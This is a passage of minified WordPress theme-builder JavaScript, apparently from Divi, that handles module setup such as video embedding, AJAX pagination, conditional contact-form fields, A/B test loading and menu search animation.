window.et_force_width_container_change=false;}window.et_fix_testimonial_inner_width();if($et_pb_counter_amount.length){$et_pb_counter_amount.each(function(){window.et_bar_counters_init($(this));});}/* $et_pb_counter_amount.length */ // Reinit animation. _utils.isBuilder&&et_pb_reinit_animation();// Reupdate maps filters. if($et_pb_map.length||_utils.isBuilder){et_pb_update_maps_filters($et_pb_map);}if(grid_containers.length||_utils.isBuilder){$(grid_containers).each(function(){window.et_pb_set_responsive_grid($(this),'.et_pb_grid_item');});}// Re-apply module divider fix if(!_utils.isBuilder&&$dividers.length){$dividers.each(function(){etFixDividerSpacing($(this));});}});function fitvids_slider_fullscreen_init(){if($.fn.fitVids){// Default custom and ignore selectors for all modules. var customSelector="iframe[src^='http://www.hulu.com'], iframe[src^='http://www.dailymotion.com'], iframe[src^='http://www.funnyordie.com'], iframe[src^='https://embed-ssl.ted.com'], iframe[src^='http://embed.revision3.com'], iframe[src^='https://flickr.com'], iframe[src^='http://blip.tv'], iframe[src^='http://www.collegehumor.com']";var ignore='';// Library lazysizes convert the iframe video src into data:image, // so we need to add src data:image on the list. And also, need to // ignore if current iframe has .lazyloading class because it's not // visible until it's lazy loaded. if(!(0,_isUndefined.default)(window.lazySizes)){customSelector+=", iframe[src^='data:image']";ignore+='.lazyloading';}$('.et_pb_slide_video').fitVids();$('.et_pb_module').fitVids({customSelector:customSelector,ignore:ignore});}et_fix_slider_height();// calculate fullscreen section sizes on $( window ).ready to avoid jumping in some cases et_calculate_fullscreen_section_size();}if(_utils.isBuilder){$(window).one('et_fb_init_app_after',fitvids_slider_fullscreen_init);}else{fitvids_slider_fullscreen_init();}window.et_pb_fullwidth_header_scroll=function(event){event.preventDefault();var window_width=$et_window.width();var $body=$('body');var is_wp_relative_admin_bar=window_width<782;var is_transparent_main_header=$body.hasClass('et_transparent_nav');var is_hide_nav=$body.hasClass('et_hide_nav');var is_desktop_view=window_width>980;var is_tablet_view=window_width<=980&&window_width>=479;var is_phone_view=window_width<479;var $this_section=$(this).parents('section');var this_section_offset=$this_section.offset();var $wpadminbar=$('#wpadminbar');var $main_header=$('#main-header');var wpadminbar_height=$wpadminbar.length&&!is_wp_relative_admin_bar?$wpadminbar.height():0;var top_header_height=!$top_header.length||!window.et_is_fixed_nav||!is_desktop_view?0:$top_header.height();var data_height_onload='undefined'===typeof $main_header.attr('data-height-onload')?0:$main_header.attr('data-height-onload');var initial_fixed_difference=$main_header.height()===et_pb_get_fixed_main_header_height()||!is_desktop_view||!window.et_is_fixed_nav||is_transparent_main_header||is_hide_nav?0:et_pb_get_fixed_main_header_height()-parseFloat(data_height_onload);var section_bottom=this_section_offset.top+$this_section.outerHeight(true)+initial_fixed_difference-(wpadminbar_height+top_header_height+et_pb_get_fixed_main_header_height());var animate_modified=false;if(!isVB&&window.et_is_fixed_nav&&is_transparent_main_header){// We need to perform an extra adjustment which requires computing header height // in "fixed" mode. It can't be done directly on header because it will change // its appearance so an invisible clone is used instead. var clone=$main_header.clone().addClass('et-disabled-animations et-fixed-header').css('visibility','hidden').appendTo($body);section_bottom+=et_pb_get_fixed_main_header_height()-clone.height();clone.remove();}if($this_section.length){var fullscreen_scroll_duration=800;$('html, body').animate({scrollTop:section_bottom},{duration:fullscreen_scroll_duration});}};function et_pb_window_load_scripts(){et_fix_fullscreen_section();et_calculate_fullscreen_section_size();$(document).on('click','.et_pb_fullwidth_header_scroll a',et_pb_fullwidth_header_scroll);setTimeout(function(){$('.et_pb_preload').removeClass('et_pb_preload');},500);if($.fn.hashchange){$(window).hashchange(function(){var hash=window.location.hash.replace(/[^a-zA-Z0-9-_|]/g,'');process_et_hashchange(hash);});$(window).hashchange();}if($et_pb_parallax.length&&!et_is_mobile_device){$et_pb_parallax.each(function(){et_pb_parallax_init($(this));});}window.et_reinit_waypoint_modules();if($('.et_audio_content').length){$(window).trigger('resize');}}if(window.et_load_event_fired){et_pb_window_load_scripts();}else{$(window).on('load',function(){et_pb_window_load_scripts();});}if($('.et_section_specialty').length){$('.et_section_specialty').each(function(){var this_row=$(this).find('.et_pb_row');this_row.find('>.et_pb_column:not(.et_pb_specialty_column)').addClass('et_pb_column_single');});}// // In particular browser, map + parallax doesn't play well due the use of CSS 3D transform // if($('.et_pb_section_parallax').length&&$('.et_pb_map').length){$('body').addClass('parallax-map-support');}/** * Add conditional class for search widget in sidebar module. */if(window.et_pb_custom){$(".et_pb_widget_area ".concat(window.et_pb_custom.widget_search_selector)).each(function(){var $search_wrap=$(this);var $search_input_submit=$search_wrap.find('input[type="submit"]');var search_input_submit_text=$search_input_submit.attr('value');var $search_button=$search_wrap.find('button');var search_button_text=$search_button.text();var has_submit_button=!!($search_input_submit.length||$search_button.length);var min_column_width=150;if(!$search_wrap.find('input[type="text"]').length&&!$search_wrap.find('input[type="search"]').length){return;}// Mark no button state if(!has_submit_button){$search_wrap.addClass('et-no-submit-button');}// Mark narrow state if($search_wrap.width()<150){$search_wrap.addClass('et-narrow-wrapper');}// Fixes issue where theme's search button has no text: treat it as non-existent if($search_input_submit.length&&('undefined'===typeof search_input_submit_text||''===search_input_submit_text)){$search_input_submit.remove();$search_wrap.addClass('et-no-submit-button');}if($search_button.length&&('undefined'===typeof search_button_text||''===search_button_text)){$search_button.remove();$search_wrap.addClass('et-no-submit-button');}});}// get the content of next/prev page via ajax for modules which have the .et_pb_ajax_pagination_container class $('body').on('click','.et_pb_ajax_pagination_container .wp-pagenavi a,.et_pb_ajax_pagination_container .pagination a',function(){var this_link=$(this);var href=this_link.attr('href');var current_href=window.location.href;var module_classes=this_link.closest('.et_pb_module').attr('class').split(' ');var module_class_processed='';var $current_module;var animation_classes=et_get_animation_classes();// global variable to store the cached content window.et_pb_ajax_pagination_cache=window.et_pb_ajax_pagination_cache||[];// construct the selector for current module $.each(module_classes,function(index,value){// lazyload and lazyloaded classes are needed for compatibility with EWWW Image Optimizer var skip_classes=animation_classes.concat(['et_had_animation','lazyload','lazyloaded']);// skip animation and other 3rd party classes so no wrong href is formed afterwards if(skip_classes.includes(value)){return;}if(''!==value.trim()){module_class_processed+=".".concat(value);}});$current_module=$(module_class_processed);// remove module animation to prevent conflicts with the page changing animation et_remove_animation($current_module);// use cached content if it has beed retrieved already, otherwise retrieve the content via ajax if(typeof window.et_pb_ajax_pagination_cache[href+module_class_processed]!=='undefined'){$current_module.fadeTo('slow',0.2,function(){$current_module.find('.et_pb_ajax_pagination_container').replaceWith(window.et_pb_ajax_pagination_cache[href+module_class_processed]);et_pb_set_paginated_content($current_module,true);if($('.et_pb_tabs').length){window.et_pb_tabs_init($('.et_pb_tabs'));}});}else{// update cache for currently opened page if not set yet if('undefined'===typeof window.et_pb_ajax_pagination_cache[current_href+module_class_processed]){window.et_pb_ajax_pagination_cache[current_href+module_class_processed]=$current_module.find('.et_pb_ajax_pagination_container');}$current_module.fadeTo('slow',0.2,function(){var paginate=function paginate(page){var $page=jQuery(page);// Find custom style var $style=$page.filter('#et-builder-module-design-cached-inline-styles');// Make sure it's included in the new content var $content=$page.find("".concat(module_class_processed," .et_pb_ajax_pagination_container")).prepend($style);// Remove animations to prevent blocks from not showing et_remove_animation($content.find('.et_animated'));// Replace current page with new one $current_module.find('.et_pb_ajax_pagination_container').replaceWith($content);window.et_pb_ajax_pagination_cache[href+module_class_processed]=$content;et_pb_set_paginated_content($current_module,false);if($('.et_pb_tabs').length){window.et_pb_tabs_init($('.et_pb_tabs'));}// Triggers post-load to initialize 3rd party JavaScript that listens for this event. $(document.body).trigger('post-load');};// Ajax request settings var ajaxSettings={url:href,success:paginate,error:function error(page){if(404===page.status&&jQuery('body.error404').length>0){// Special case if a blog module is being displayed on the 404 page. paginate(page.responseText);}}};// Layout block preview is essentially blank page where its layout is passed // via POST. Pass the next page's layout content by shipping it on the ajax // request as POST if(isBlockLayoutPreview){ajaxSettings.data={et_layout_block_layout_content:ETBlockLayoutModulesScript.layoutContent};ajaxSettings.method='POST';}jQuery.ajax(ajaxSettings);});}return false;});function et_pb_set_paginated_content($current_module,is_cache){var is_desktop_view=$(window).width()>980;var is_fixed_nav=window.et_is_fixed_nav;var $wpadminbar=$('#wpadminbar');var has_wpadminbar=$wpadminbar.length;var wpadminbar_height=has_wpadminbar&&is_desktop_view?$wpadminbar.height():0;var $top_header=$('#top-header');var has_top_header=$top_header.length;var top_header_height=has_top_header&&is_fixed_nav&&is_desktop_view?$top_header.height():0;var $main_header=$('#main-header');var has_main_header=$main_header.length;var main_header_height=has_main_header&&is_fixed_nav&&is_desktop_view?$main_header.height():0;var overall_header_height=wpadminbar_height+top_header_height+main_header_height;// Calculate the scroll to element top value based on the element top offset - overall header height - 50. // The element should be positioned 50px from the top of the viewport or the header (if fixed). var scroll_to_position=$current_module.offset().top-overall_header_height-50;// Re-apply Salvattore grid to the new content if needed. if(typeof $current_module.find('.et_pb_salvattore_content').attr('data-columns')!=='undefined'){// register grid only if the content is not from cache if(!is_cache){salvattore.registerGrid($current_module.find('.et_pb_salvattore_content')[0]);}salvattore.recreateColumns($current_module.find('.et_pb_salvattore_content')[0]);$current_module.find('.et_pb_post').css({opacity:'1'});}// init audio module on new content if($current_module.find('.et_audio_container').length>0&&typeof wp!=='undefined'&&typeof wp.mediaelement!=='undefined'&&'function'===typeof wp.mediaelement.initialize){wp.mediaelement.initialize();$(window).trigger('resize');}// load waypoint modules such as counters and animated images if($current_module.find('.et-waypoint, .et_pb_circle_counter, .et_pb_number_counter').length>0){$current_module.find('.et-waypoint, .et_pb_circle_counter, .et_pb_number_counter').each(function(){var $waypoint_module=$(this);if($waypoint_module.hasClass('et_pb_circle_counter')){window.et_pb_reinit_circle_counters($waypoint_module);}if($waypoint_module.hasClass('et_pb_number_counter')){window.et_pb_reinit_number_counters($waypoint_module);}if($waypoint_module.find('.et_pb_counter_amount').length>0){$waypoint_module.find('.et_pb_counter_amount').each(function(){window.et_bar_counters_init($(this));});}$(this).css({opacity:'1'});window.et_reinit_waypoint_modules();});}/** * Init post gallery format. */if($current_module.find('.et_pb_slider').length>0){$current_module.find('.et_pb_slider').each(function(){et_pb_slider_init($(this));});}/** * Init post video format overlay click. */$current_module.on('click','.et_pb_video_overlay',function(e){e.preventDefault();et_pb_play_overlayed_video($(this));});// Re-apply fitvids to the new content. $current_module.fitVids({customSelector:"iframe[src^='http://www.hulu.com'], iframe[src^='http://www.dailymotion.com'], iframe[src^='http://www.funnyordie.com'], iframe[src^='https://embed-ssl.ted.com'], iframe[src^='http://embed.revision3.com'], iframe[src^='https://flickr.com'], iframe[src^='http://blip.tv'], iframe[src^='http://www.collegehumor.com']"});$current_module.fadeTo('slow',1);// reinit ET shortcodes. if('function'===typeof window.et_shortcodes_init){window.et_shortcodes_init($current_module);}// reinit audio players. et_init_audio_modules();// scroll to the top of the module $('html, body').animate({scrollTop:scroll_to_position});// Set classes for gallery and portfolio breakdowns var grid_items=$current_module.find('.et_pb_grid_item');if(grid_items.length){et_pb_set_responsive_grid($(grid_items.parent().get(0)),'.et_pb_grid_item');}}window.et_pb_search_init=function($search){// Update animation breakpoint variable and generate suffix. var current_mode=et_pb_get_current_window_mode();et_animation_breakpoint=current_mode;var suffix=current_mode!=='desktop'?"-".concat(current_mode):'';var $input_field=$search.find('.et_pb_s');var $button=$search.find('.et_pb_searchsubmit');var input_padding=$search.hasClass("et_pb_text_align_right".concat(suffix))?'paddingLeft':'paddingRight';var reverse_input_padding='paddingLeft'===input_padding?'paddingRight':'paddingLeft';var disabled_button=$search.hasClass('et_pb_hide_search_button');var buttonHeight=$button.outerHeight();var buttonWidth=$button.outerWidth();var inputHeight=$input_field.innerHeight();// set the relative button position to get its height correctly $button.css({position:'relative'});if(buttonHeight>inputHeight){$input_field.innerHeight(buttonHeight);}if(!disabled_button){// Reset reverse input padding. $input_field.css(reverse_input_padding,'');$input_field.css(input_padding,"".concat(buttonWidth+10,"px"));}// reset the button position back to default $button.css({position:''});};/** * Fix search module which has percentage based custom margin. * * @param $search */window.et_pb_search_percentage_custom_margin_fix=function($search){var inputMargin=$search.find('.et_pb_s').css('margin').split(' ');var inputMarginObj={};switch(inputMargin.length){case 4:inputMarginObj={top:inputMargin[0],right:inputMargin[1],bottom:inputMargin[2],left:inputMargin[3]};break;case 2:inputMarginObj={top:inputMargin[0],right:inputMargin[1],bottom:inputMargin[0],left:inputMargin[1]};break;default:inputMarginObj={top:inputMargin[0],right:inputMargin[0],bottom:inputMargin[0],left:inputMargin[0]};break;}var inputRight="".concat(0-parseFloat(inputMarginObj.left),"px");$search.find('.et_pb_searchsubmit').css({top:inputMarginObj.top,right:inputRight,bottom:inputMarginObj.bottom});};if($('.et_pb_search').length){$('.et_pb_search').each(function(){var $search=$(this);if($search.is('.et_pb_search_percentage_custom_margin')){et_pb_search_percentage_custom_margin_fix($search);}et_pb_search_init($search);});}window.et_pb_comments_init=function($comments_module){var $comments_module_button=$comments_module.find('.comment-reply-link, .submit');if($comments_module_button.length){$comments_module_button.addClass('et_pb_button');if(typeof $comments_module.attr('data-icon')!=='undefined'&&$comments_module.attr('data-icon')!==''){$comments_module_button.attr('data-icon',$comments_module.attr('data-icon'));$comments_module_button.addClass('et_pb_custom_button_icon');}if(typeof $comments_module.attr('data-icon-tablet')!=='undefined'&&$comments_module.attr('data-icon-tablet')!==''){$comments_module_button.attr('data-icon-tablet',$comments_module.attr('data-icon-tablet'));$comments_module_button.addClass('et_pb_custom_button_icon');}if(typeof $comments_module.attr('data-icon-phone')!=='undefined'&&$comments_module.attr('data-icon-phone')!==''){$comments_module_button.attr('data-icon-phone',$comments_module.attr('data-icon-phone'));$comments_module_button.addClass('et_pb_custom_button_icon');}}};// apply required classes for the Reply buttons in Comments Module if($('.et_pb_comments_module').length){$('.et_pb_comments_module').each(function(){var $comments_module=$(this);et_pb_comments_init($comments_module);});}// Wait the page fully loaded to make sure all the css applied before calculating sizes var previousCallback=document.onreadystatechange||function(){};document.onreadystatechange=function(){if('complete'===document.readyState){window.et_fix_pricing_currency_position();}previousCallback();};$('.et_pb_contact_form_container, .et_pb_newsletter_custom_fields').each(function(){var $form=$(this);var subjects_selector='input, textarea, select';var condition_check=function condition_check(){et_conditional_check($form);};var debounced_condition_check=et_pb_debounce(condition_check,250);// Listen for any field change $form.on('change',subjects_selector,condition_check);$form.on('keydown',subjects_selector,debounced_condition_check);// Conditions may be satisfied on default form state et_conditional_check($form);});function et_conditional_check($form){var $conditionals=$form.find('[data-conditional-logic]');// Upon change loop all the fields that have conditional logic $conditionals.each(function(){var $conditional=$(this);// jQuery automatically parses the JSON var rules=$conditional.data('conditional-logic');var relation=$conditional.data('conditional-relation');// Loop all the conditional logic rules var matched_rules=[];for(var i=0;i<rules.length;i++){var ruleset=rules[i];var check_id=ruleset[0];var check_type=ruleset[1];var check_value=ruleset[2];var $wrapper=$form.find(".et_pb_contact_field[data-id=\"".concat(check_id,"\"]"));var field_id=$wrapper.data('id');var field_type=$wrapper.data('type');var field_value;// // Check if the field wrapper is actually visible when including it in the rules check. // This avoids the scenario with a parent, child and grandchild field where the parent // field is changed but the grandchild remains visible, because the child one has the // right value, even though it is not visible // if(!$wrapper.is(':visible')){continue;}// Get the proper compare value based on the field type switch(field_type){case'input':case'email':field_value=$wrapper.find('input').val();break;case'text':field_value=$wrapper.find('textarea').val();break;case'radio':field_value=$wrapper.find('input:checked').val()||'';break;case'checkbox':// // Conditional logic for checkboxes is a bit trickier since we have multiple values. // To address that we first check if a checked checkbox with the desired value // exists, which is represented by setting `field_value` to true or false. // Next we always set `check_value` to true so we can compare against the // result of the value check. // var $checkbox=$wrapper.find(':checkbox:checked');field_value=false;$checkbox.each(function(){if(check_value===$(this).val()){field_value=true;return false;}});check_value=true;break;case'select':field_value=$wrapper.find('select').val();break;}// // 'is empty' / 'is not empty' are comparing against an empty value so simply // reset the `check_value` and update the condition to 'is' / 'is not' // if('is empty'===check_type||'is not empty'===check_type){check_type='is empty'===check_type?'is':'is not';check_value='';// // `field_value` will always be `false` if all the checkboxes are unchecked // since it only changes when a checked checkbox matches the `check_value` // Because of `check_value` being reset to empty string we do the same // to `field_value` (if it is `false`) to cover the 'is empty' case // if('checkbox'===field_type&&false===field_value){field_value='';}}// Need to `stripslashes` value to match with rule value if(field_value&&'string'===typeof field_value){field_value=field_value.replace(/\\(.)/g,'$1');}// Check if the value IS matching (if it has to) if('is'===check_type&&field_value!==check_value){continue;}// Check if the value IS NOT matching (if it has to) if('is not'===check_type&&field_value===check_value){continue;}/** * Create the contains/not contains regular expresion * Need to escape a character that has special meaning inside a regular expression. */var containsRegExp=new RegExp(check_value,'i');if('string'===typeof check_value){containsRegExp=new RegExp(check_value.replace(/[\\^$*+?.()|[\]{}]/g,'\\$&'),'i');}// Check if the value IS containing if('contains'===check_type&&!field_value.match(containsRegExp)){continue;}// Check if the value IS NOT containing if('does not contain'===check_type&&field_value.match(containsRegExp)){continue;}// Prepare the values for the 'is greater than' / 'is less than' check var maybeNumericValue=parseInt(field_value);var maybeNumbericCheckValue=parseInt(check_value);if(('is greater'===check_type||'is less'===check_type)&&(isNaN(maybeNumericValue)||isNaN(maybeNumbericCheckValue))){continue;}// Check if the value is greater than if('is greater'===check_type&&maybeNumericValue<=maybeNumbericCheckValue){continue;}// Check if the value is less than if('is less'===check_type&&maybeNumericValue>=maybeNumbericCheckValue){continue;}matched_rules.push(true);}// Hide all the conditional fields initially $conditional.hide();// // Input fields may have HTML5 pattern validation which must be ignored // if the field is not visible. In order for the pattern to not be // taken into account the field must have novalidate property and // to not be required (or to not have a pattern attribute) // var $conditional_input=$conditional.find('input[type="text"]');var conditional_pattern=$conditional_input.attr('pattern');$conditional_input.attr('novalidate','novalidate');$conditional_input.attr('data-pattern',conditional_pattern);$conditional_input.removeAttr('pattern');if('all'===relation&&rules.length===matched_rules.length){$conditional.show();$conditional_input.removeAttr('novalidate');$conditional_input.attr('pattern',$conditional_input.data('pattern'));}if('any'===relation&&0<matched_rules.length){$conditional.show();$conditional_input.removeAttr('novalidate');$conditional_input.attr('pattern',$conditional_input.data('pattern'));}});}// Adjust z-index for animated menu modules. if('undefined'!==typeof et_animation_data&&et_animation_data.length>0){// Store the maximum z-index that should be applied var maxMenuIndex=0;// Increase the maximum z-index by one for each module for(var i=0;i<et_animation_data.length;i++){var animation_entry=et_animation_data[i];if(!animation_entry.class){continue;}var $animationEntry=$(".".concat(animation_entry.class));if($animationEntry.hasClass('et_pb_menu')||$animationEntry.hasClass('et_pb_fullwidth_menu')){maxMenuIndex++;}}var $menus=$('.et_pb_menu, .et_pb_fullwidth_menu');$menus.each(function(){var $menu=$(this);// When the animation ends apply z-index in descending order to each of the animated modules $menu.on('webkitAnimationEnd oanimationend msAnimationEnd animationend',function(){$menu.css('z-index',maxMenuIndex-$menu.index('.et_pb_menu, .et_pb_fullwidth_menu'));});});}/** * Provide event listener for plugins to hook up to. */$(document).trigger('et_pb_after_init_modules');window.et_pb_wrap_woo_attribute_fields_in_span();window.et_pb_shop_add_hover_class=function(){$('.et_pb_shop').each(function(){var $et_pb_shop=$(this);var $et_shop_image=$et_pb_shop.find('.et_shop_image');$et_shop_image.on('mouseover',function(){var $this=$(this);var $et_li_wrapper=$this.parents().eq(1);// Elements var $price=$et_li_wrapper.find('.price');var $title=$et_li_wrapper.find('.woocommerce-loop-product__title');$price.addClass('hover');$title.addClass('hover');}).on('mouseout',function(){var $this=$(this);var $et_li_wrapper=$this.parents().eq(1);// Elements var $price=$et_li_wrapper.find('.price');var $title=$et_li_wrapper.find('.woocommerce-loop-product__title');$price.removeClass('hover');$title.removeClass('hover');});});};et_pb_shop_add_hover_class();});};/** * Fix unwanted divider spacing (mostly in webkit) when svg image is repeated and the actual * svg image dimension width is in decimal. * * @since 4.0.10 * * @param {object} $divider JQuery object of `.et_pb_top_inside_divider` or `.et_pb_bottom_inside_divider`. */window.etFixDividerSpacing=function($divider){// Clear current inline style first so builder's outputted css is retrieved $divider.attr('style','');// Get divider variables var backgroundSize=$divider.css('backgroundSize').split(' ');var horizontalSize=backgroundSize[0];var verticalSize=backgroundSize[1];var hasValidSizes='string'===typeof horizontalSize&&'string'===typeof verticalSize;// Is not having default value + using percentage based value if(hasValidSizes&&'100%'!==horizontalSize&&'%'===horizontalSize.substr(-1,1)){var dividerWidth=parseFloat($divider.outerWidth());var imageWidth=parseFloat(horizontalSize)/100*dividerWidth;var backgroundSizePx="".concat(parseInt(imageWidth),"px ").concat(verticalSize);$divider.css('backgroundSize',backgroundSizePx);}};if(window.et_pb_custom&&window.et_pb_custom.is_ab_testing_active&&'yes'===window.et_pb_custom.is_cache_plugin_active){// update the window.et_load_event_fired variable to initiate the scripts properly $(window).on('load',function(){window.et_load_event_fired=true;});var pendingRequests=et_pb_custom.ab_tests.length;$.each(et_pb_custom.ab_tests,function(index,test){// get the subject id for current visitor and display it // this ajax request performed only if AB Testing is enabled and cache plugin active $.ajax({type:'POST',url:et_pb_custom.ajaxurl,dataType:'json',data:{action:'et_pb_ab_get_subject_id',et_frontend_nonce:et_pb_custom.et_frontend_nonce,et_pb_ab_test_id:test.post_id},success:function success(subject_data){if(subject_data){// Append the subject content to appropriate placeholder. var $placeholder=$(".et_pb_subject_placeholder_id_".concat(test.post_id,"_").concat(subject_data.id));$placeholder.after(subject_data.content);$placeholder.remove();}pendingRequests-=1;if(pendingRequests<=0){// remove all other placeholders from the DOM $('.et_pb_subject_placeholder').remove();// init all scripts once the subject loaded window.et_pb_init_modules();$('body').trigger('et_pb_ab_subject_ready');}}});});}else{window.et_pb_init_modules();}/** * Fix anchor scrolling to position. * * @since 4.6.6 */function et_pb_fix_scroll_to_anchor_position(){window.et_location_hash=window.location.hash.replace(/[^a-zA-Z0-9-_#]/g,'');if(''===window.et_location_hash){return;}// Prevent jump to anchor - Firefox window.scrollTo(0,0);var anchoredElement=$(window.et_location_hash);if(!anchoredElement.length){return;}// bypass auto scrolling, if supported if('scrollRestoration'in history){history.scrollRestoration='manual';}else{// Prevent jump to anchor - Other Browsers window.et_location_hash_style=anchoredElement.css('display');anchoredElement.css('display','none');}}document.addEventListener('DOMContentLoaded',function(){// Enable alternative scroll to anchor method only for Divi and Extra. if(_utils.isDiviTheme||_utils.isExtraTheme){et_pb_fix_scroll_to_anchor_position();}// Hover transition are disabled for section dividers to prevent visual glitches while document is loading, // we can enable them again now. Also, execute unwanted divider spacing $('.et_pb_top_inside_divider.et-no-transition, .et_pb_bottom_inside_divider.et-no-transition').removeClass('et-no-transition').each(function(){etFixDividerSpacing($(this));});// Set a delay just to make sure all modules are ready before we append box shadow container. // Similar approach exists on VB custom CSS output. setTimeout(function(){(window.et_pb_box_shadow_elements||[]).map(et_pb_box_shadow_apply_overlay);},0);});$(window).on('load',function(){var $body=$('body');// set load event here because safari sometimes will not run load events registered on et_pb_init_modules. window.et_load_event_fired=true;// fix Safari letter-spacing bug when styles applied in `head` // Trigger styles redraw by changing body display property to differentvalue and reverting it back to original. if($body.hasClass('safari')){var original_display_value=$body.css('display');var different_display_value='initial'===original_display_value?'block':'initial';$body.css({display:different_display_value});setTimeout(function(){$body.css({display:original_display_value});},0);// Keep this script here, as it needs to be executed only if the script from above is executed // As the script from above somehow affects WooCommerce single product image rendering. // https://github.com/elegantthemes/Divi/issues/7454 if($body.hasClass('woocommerce-page')&&$body.hasClass('single-product')){var $wc=$('.woocommerce div.product div.images.woocommerce-product-gallery');if(0===$wc.length){return;}// Don't use jQuery to get element opacity, as it may return an outdated value. var opacity=parseInt($wc[0].style.opacity);if(!opacity){return;}$wc.css({opacity:opacity-0.09});setTimeout(function(){$wc.css({opacity:opacity});},0);}}// Reinit Star Ratings in Woo Modules. // Deafuilt Woocommerce scripts do not init Star Ratings correctly // if there are more than 1 place with stars on page // Run this on .on('load') event after woocommerce modules are ready and processed. if($('.et_pb_module #rating, .et_pb_module .comment-form-rating').length>0){$('.et_pb_module #rating, .et_pb_module .comment-form-rating').each(function(){window.et_pb_init_woo_star_rating($(this));});}// Apply Custom icons to Woo Module Buttons. // All the buttons generated in WooCommerce template and we cannot add custom attributes // Therefore we have to use js to add it. if($('.et_pb_woo_custom_button_icon').length>0){$('.et_pb_woo_custom_button_icon').each(function(){var $thisModule=$(this);var buttonClass=$thisModule.data('button-class');var $buttonEl=$thisModule.find(".".concat(buttonClass));var buttonIcon=$thisModule.attr('data-button-icon');var buttonIconTablet=$thisModule.attr('data-button-icon-tablet');var buttonIconPhone=$thisModule.attr('data-button-icon-phone');var buttonClassName='et_pb_promo_button et_pb_button';$buttonEl.addClass(buttonClassName);if(buttonIcon||buttonIconTablet||buttonIconPhone){$buttonEl.addClass('et_pb_custom_button_icon');$buttonEl.attr('data-icon',buttonIcon);$buttonEl.attr('data-icon-tablet',buttonIconTablet);$buttonEl.attr('data-icon-phone',buttonIconPhone);}});}/** * Hide empty WooCommerce Meta module * Meta module component is toggled using classname, thus js visibility check to determine * whether the module is "empty" (visibility-wise) or not. */if($('.et_pb_wc_meta').length>0){$('.et_pb_wc_meta').each(function(){var $thisModule=$(this);if(''===$thisModule.find('.product_meta span:visible').text()){$thisModule.addClass('et_pb_wc_meta_empty');}});}});// Handle cases where builder modules are not initially visible and produce sizing // issues as a result (e.g. slider module inside popups, accordions etc.). $(function(){if(MutationObserver===undefined){// Bail if MutationObserver is not supported by the user agent. return;}var getSectionParents=function getSectionParents($sections){var filterMethod=$.uniqueSort!==undefined?$.uniqueSort:$.unique;var $sectionParents=$([]);$sections.each(function(){$sectionParents=$sectionParents.add($(this).parents());});// Avoid duplicate section parents. return filterMethod($sectionParents.get());};var getInvisibleNodes=function getInvisibleNodes($sections){return $sections.filter(function(){return!$(this).is(':visible');}).length;};var $sections=$('.et_pb_section');var sectionParents=getSectionParents($sections);var invisibleSections=getInvisibleNodes($sections);var maybeRefreshSections=function maybeRefreshSections(){var newInvisibleSections=getInvisibleNodes($sections);if(newInvisibleSections<invisibleSections){// Trigger resize if some previously invisible sections have become visible. $(window).trigger('resize');}invisibleSections=newInvisibleSections;};var observer=new MutationObserver(window.et_pb_debounce(maybeRefreshSections,200));for(var i=0;i<sectionParents.length;i++){observer.observe(sectionParents[i],{childList:true,attributes:true,attributeFilter:['class','style'],attributeOldValue:false,characterData:false,characterDataOldValue:false,subtree:false});}});function et_fix_html_margin(){// Calculate admin bar height and apply correct margin to HTML in VB if($('body').is('.et-fb')){var $adminBar=$('#wpadminbar');if($adminBar.length>0){setTimeout(function(){$('#et_fix_html_margin').remove();$('<style />',{id:'et_fix_html_margin',text:'html.js.et-fb-top-html { margin-top: 0px !important; }'}).appendTo('head');},0);}}}et_fix_html_margin();// Menu module. function menuModuleOpenSearch($module){var $menu=$module.find('.et_pb_menu__wrap').first();var $search=$module.find('.et_pb_menu__search-container').first();var $input=$module.find('.et_pb_menu__search-input').first();var $fwMenuLogo=$module.find('.et_pb_row > .et_pb_menu__logo-wrap').first();var $menuLogo=$module.find('.et_pb_menu_inner_container > .et_pb_menu__logo-wrap').first();var $logo=$fwMenuLogo.add($menuLogo);var isMobile=$(window).width()<=980;if($search.hasClass('et_pb_is_animating')){return;}// Close the menu if it is open. $menu.find('.mobile_nav.opened').removeClass('opened').addClass('closed');$menu.find('.et_mobile_menu').hide();$menu.removeClass('et_pb_menu__wrap--visible').addClass('et_pb_menu__wrap--hidden');$search.removeClass('et_pb_menu__search-container--hidden et_pb_menu__search-container--disabled').addClass('et_pb_menu__search-container--visible et_pb_is_animating');// Adjust spacing based on layout and the logo used. $search.css('padding-top','0px');if($module.hasClass('et_pb_menu--style-left_aligned')||$module.hasClass('et_pb_fullwidth_menu--style-left_aligned')){$search.css('padding-left',"".concat($logo.width(),"px"));}else{var logoHeight=$logo.height();$search.css('padding-left','0px');if(isMobile||$module.hasClass('et_pb_menu--style-centered')||$module.hasClass('et_pb_fullwidth_menu--style-centered')){// 30 = logo margin-bottom. $search.css('padding-top',"".concat(logoHeight>0?logoHeight+30:0,"px"));}}$input.css('font-size',$module.find('.et-menu-nav li a').first().css('font-size'));setTimeout(function(){$input.trigger('focus');},0);setTimeout(function(){$menu.addClass('et_pb_no_animation');$search.addClass('et_pb_no_animation').removeClass('et_pb_is_animating');},1000);}function menuModuleCloseSearch($module){var $menu=$module.find('.et_pb_menu__wrap').first();var $search=$module.find('.et_pb_menu__search-container').first();var $input=$module.find('.et_pb_menu__search-input').first();if($search.hasClass('et_pb_is_animating')){return;}$menu.removeClass('et_pb_menu__wrap--hidden').addClass('et_pb_menu__wrap--visible');$search.removeClass('et_pb_menu__search-container--visible').addClass('et_pb_menu__search-container--hidden et_pb_is_animating');$input.trigger('blur');setTimeout(function(){$search.removeClass('et_pb_is_animating').addClass('et_pb_menu__search-container--disabled');},1000);}function menuModuleCloneInlineLogo($module){var $logo=$module.find('.et_pb_menu__logo-wrap').first();if(0===$logo.length){return;}var $menu=$module.find('.et_pb_menu__menu').first();if(0===$menu.length||$menu.find('.et_pb_menu__logo').length>0){return;}var li=window.et_pb_menu_inject_inline_centered_logo($menu.get(0));if(null===li){return;}$(li).empty().append($logo.clone());}$(document).on('click','.et_pb_menu__search-button',function(){menuModuleOpenSearch($(this).closest('.et_pb_module'));});$(document).on('click','.et_pb_menu__close-search-button',function(){menuModuleCloseSearch($(this).closest('.et_pb_module'));});$(document).on('blur','.et_pb_menu__search-input',function(){menuModuleCloseSearch($(this).closest('.et_pb_module'));});$(function(){$('.et_pb_menu--style-inline_centered_logo, .et_pb_fullwidth_menu--style-inline_centered_logo').each(function(){menuModuleCloneInlineLogo($(this));});// The visible iframe is still being processed by lazysizes at the first // load, so we need to check those iframes and reload fitVids. if(!(0,_isUndefined.default)(window.lazySizes)){$(document).on('lazyloaded',function(e){var $target=$(e.target);var targetName=$target.attr('name');// Target fitvid or unassigned 